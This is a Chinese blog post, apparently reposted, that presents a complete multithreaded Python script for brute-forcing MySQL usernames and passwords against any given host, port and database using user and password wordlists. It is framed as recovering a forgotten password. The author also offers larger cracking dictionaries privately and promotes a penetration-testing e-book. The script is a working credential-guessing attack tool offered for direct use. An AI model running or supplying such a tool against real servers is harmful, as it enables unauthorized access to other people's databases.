用Python写了个工具,完美破解了MySQL!!(建议收藏)

用Python写了个工具,完美破解了MySQL!!(建议收藏)再也不怕忘记MySQL的用户名和密码了,用这个工具可以秒破MySQL,冰河强烈建议收藏!!

大家好,又见面了,我是你们的朋友全栈君。

大家好,我是冰河~~

最近有很多小伙伴问我:冰河,咋感觉你啥都会呀?Java、Python、大数据、分布式、微服务、系统架构、运维、渗透,请问你平时是怎么学习的呢?我:个人觉得最好的学习方法就是,在平时的工作过程中,遇到问题多总结,注意积累解决问题的方案,及时查漏补缺,逐渐形成一套自己的方法论。

要知道,每项知识、技能的积累,需要的是日复一日的坚持,正所谓——持之以恒,贵在坚持,这样才能做到每天进步一点点

小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~

进入主题

好了,进入今天的主题吧,今天下班回到家想登录下MySQL数据库,不巧的是,忘记了MySQL数据库的用户和密码了,怎么办?使用安全模式登录?我想这么常规的方式应该大家都会吧!今天,就来点不一样的吧,那就是使用Python写个爆破MySQL的工具,看能不能爆破出MySQL的用户和密码。

小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~

好了,咱们说干就干,开始吧。

用Python写了个工具,完美破解了MySQL!!(建议收藏)

爆破脚本

这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:

  • 待破解的ip/domain:例如127.0.0.1
  • 端口:例如3306
  • 数据库:例如test
  • 用户名列表文件:例如user.txt文件
  • 密码列表文件:例如password.txt文件

相对来说,还是比较简单的,下面就给出完整的脚本代码吧。

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2021/06/30
# Created by 冰河
# Description MySQL暴力破解工具多线程版
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool
 
try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
    print '[!] http://www.codegood.com/archives/129'
    exit()
 
 
def usage():
    print '+' + '-' * 50 + '+'
    print '\t Python MySQL暴力破解工具多线程版'
    print '\t 微信公众号:冰河技术'
    print '\t\t Code BY: 冰河'
    print '\t\t Time:2021-06-30'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
        print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt"
        sys.exit()
 
 
def mysql_brute(user, password):
    "mysql数据库破解函数"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 破解成功:', user, password
        result.append('用户名:' + user + "\t密码:" + password)
    except KeyboardInterrupt:
        print '已成功退出程序!'
        exit()
    except MySQLdb.Error, msg:
        print '程序出错,错误信息为:', msg
        pass
    finally:
        if db:
            db.close()
 
 
if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目 标:%s \n' % sys.argv[1]
    print '[+] 用户名:%d 条\n' % len(userlist)
    print '[+] 密 码:%d 条\n' % len(passlist)
    print '[!] 密码破解中,请稍候……\n'
    result = []
 
    for user in userlist:
        partial_user = partial(mysql_brute, user)
        pool = ThreadPool(10)
        pool.map(partial_user, passlist)
        pool.close()
        pool.join()
    if len(result) != 0:
        print '[+] MySQL密码破解成功!\n'
        for x in { 
   }.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] MySQL密码破解失败!\n'
    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的破解出来了。

这里需要注意的是:能不能破解出MySQL的用户和密码,那要看你的爆破字典是否足够强大了,说直白点,就是你的user.txt文件中的用户和password.txt文件中的密码是否足够齐全。

如果你想获取一个相对来说比较强大的爆破密码的字典文件,可以加我微信:sun_shine_lyz私聊获取。并且我自己也写了一个根据输入的位数生成密码字典的程序,大家也可以私聊我获取。

推荐书籍

这次,也给大家推荐一些关注渗透方面的书籍吧。

《冰河的渗透实战笔记》

首先,就是我最近写的这本《冰河的渗透实战笔记》,一本很不错的渗透实战电子书,绝大部分来源于冰河多年的渗透实战笔记。

下载地址:https://download.csdn.net/download/l1028386804/18830348

在这里插入图片描述

另外,再推荐两本,我之前深入研究过的并且很不错的书籍。

《IDA Pro代码破解揭秘》

用Python写了个工具,完美破解了MySQL!!(建议收藏)

《IDA Pro权威指南(第2版)》

用Python写了个工具,完美破解了MySQL!!(建议收藏)

写在最后

如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~

推荐阅读:

好了,今天就到这儿吧,小伙伴们点赞、收藏、评论,一键三连走起呀,我是冰河,我们下期见~~

用Python写了个工具,完美破解了MySQL!!(建议收藏)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/138189.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 《畅玩NAS》家庭 NAS 服务器搭建方案「建议收藏」

    《畅玩NAS》家庭 NAS 服务器搭建方案「建议收藏」NAS(NetworkAttachedStorage:网络附属存储)按字面简单说就是连接在网络上,具备资料存储功能的装置,因此也称为“网络存储器”。它是一种专用数据存储服务器。它以数据为中心,将存储设备与服务器彻底分离,集中管理数据,从而释放带宽、提高性能、降低总拥有成本、保护投资。其成本远远低于使用服务器存储,而效率却远远高于后者。目前国际著名的NAS企业有Netapp、EMC、OUO等。说白话,就是家用的服务器。首选谈谈家庭NAS服务器的基本需求:1.7*24小时运行,最好有UPS电源保护

  • java中字符串分割特殊字符处理_java字符串按照特定字符分割

    java中字符串分割特殊字符处理_java字符串按照特定字符分割String类型的对象在用split()方法进行字符分割的时候常常会遇到用特殊字符进行分割的情况,看JDK知道split()实际上是用的正则实现的分割,当遇到一些用特殊字符作为分割标志的时候,不使用特殊手段就会抛出java.util.regex.PatternSyntaxException异常,比如用java中的运算符号,括号等等这个时候可以使用split(“[*]”)split(“//+”)来…

  • 3.7v锂电池升压电路_锂电池升压5v电路图

    3.7v锂电池升压电路_锂电池升压5v电路图三节3.7V的锂电池串联,11.1V和最大12.6V锂电池充电电路的解决方案。在应用中,一般使用低压5V,如USB口直接输入的给三串锂电池充电,还有是15V或者18V,20V输入降压给锂电池充电的两种情况。PW4053是输入5V升压充电管理芯片,PW4203是输入15V-20V降压充电三节锂电池IC5V,USB口输入,给三节锂电池12.6V充电电路:PW4053是一款5V输入,最大1.2A充电电流,支持三节锂离子电池的升压充电管理IC。PW4053集成功率MOS…

  • 存储管理-存储管理的功能

    存储管理-存储管理的功能存储管理存储管理的功能存储器为什么比较重要?存储器是计算机系统的重要资源之一。任何程序和数据以及各种控制用的数据结构都必须占用一定的存储空间,因此,存储管理直接影响系统性能。存储器的组成内存

  • Oracle新建索引、删除索引和查看索引

    Oracle新建索引、删除索引和查看索引1、创建索引createindex索引名on表名(列名);2、删除索引dropindex索引名;3、创建组合索引createindex索引名on表名(列名1,列名2,列名3,…);查看目标表中已添加的索引–在数据库中查找表名select*fromuser_tableswheretable_namelike‘tablename%’;–查看该表的所有索引select*fromall_indexeswheretable_name=‘tablen

  • 如何申请试用Drone2Map?[通俗易懂]

    如何申请试用Drone2Map?[通俗易懂]介绍如何申请试用Drone2Map。

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号